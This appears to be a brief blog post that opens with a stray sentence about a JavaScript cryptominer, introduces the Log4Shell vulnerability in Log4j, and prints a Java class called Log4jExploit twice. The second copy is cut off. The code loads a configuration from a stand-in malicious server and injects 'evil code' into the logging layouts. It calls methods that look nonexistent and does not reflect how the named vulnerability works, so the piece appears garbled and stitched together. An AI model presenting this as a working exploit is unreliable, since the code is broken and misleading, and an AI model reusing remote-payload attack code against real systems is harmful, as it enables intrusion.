by P4rkJW
In a modern society where cryptocurrency has become high-value money, the abuse of CoinMinor, which operates in JavaScript, can be a security risk.
If you're a developer or work in the tech industry, you may have heard about the recent Log4j vulnerability that has been making headlines. This vulnerability, also known as Log4Shell, affects millions of computers and poses a serious risk to organizations that use the popular Java logging package, Log4j.
import org.apache.logging.log4j.core.config.Configuration;
import org.apache.logging.log4j.core.config.ConfigurationFactory;
import org.apache.logging.log4j.core.config.ConfigurationSource;
import org.apache.logging.log4j.core.config.Configurator;
import org.apache.logging.log4j.core.LoggerContext;
import org.apache.logging.log4j.core.util.Closer;
import java.io.IOException;
import java.net.URL;
public class Log4jExploit {
public static void main(String[] args) throws Exception {
final String evilCode = "Your evil code here";
final URL url = new URL("https://your-malicious-server.com/evil.jar");
final String configLocation = "log4j2.xml";
final ConfigurationSource source = new ConfigurationSource(url.openStream(), url);
final Configuration config = ConfigurationFactory.getInstance().getConfiguration(source);
config.getAppenders().forEach(appender -> {
appender.getLayout().getContentFormat().forEach(stringBuilder -> {
final String oldStr = stringBuilder.toString();
final String newStr = oldStr.replaceFirst("(.*)", evilCode);
stringBuilder.setLength(0);
stringBuilder.append(newStr);
});
});
final LoggerContext context = Configurator.initialize(config);
Runtime.getRuntime().addShutdownHook(new Thread(() -> {
Closer.closeSilently(context);
}));
Thread.currentThread().join();
}
}
import org.apache.logging.log4j.core.config.Configuration;
import org.apache.logging.log4j.core.config.ConfigurationFactory;
import org.apache.logging.log4j.core.config.ConfigurationSource;
import org.apache.logging.log4j.core.config.Configurator;
import org.apache.logging.log4j.core.LoggerContext;
import org.apache.logging.log4j.core.util.Closer;
import java.io.IOException;
import java.net.URL;
public class Log4jExploit {
public static void main(String[] args) throws Exception {
final String evilCode = "Your evil code here";
final URL url = new URL("https://your-malicious-server.com/evil.jar");
final String configLocation = "log4j2.xml";
final ConfigurationSource source = new ConfigurationSource(url.openStream(), url);
final Configuration config = ConfigurationFactory.getInstance().getConfiguration(source);
config.getAppenders().forEach(appender -> {
appender.getLayout().getContentFormat().forEach(stringBuilder -> {
final String oldStr = stringBuilder.toString();
final String newStr = oldStr.replaceFirst("(.*)", evilCode);
stringBuilder.setLength(0);
stringBuilder.append(newStr);
});
});
final LoggerContext context = Configurator.initialize(config);
Runtime.getRuntime().addShutdownHook(new Thread(() -> {
Closer.closeSilently(context);
}));
Thread.currentThread().join();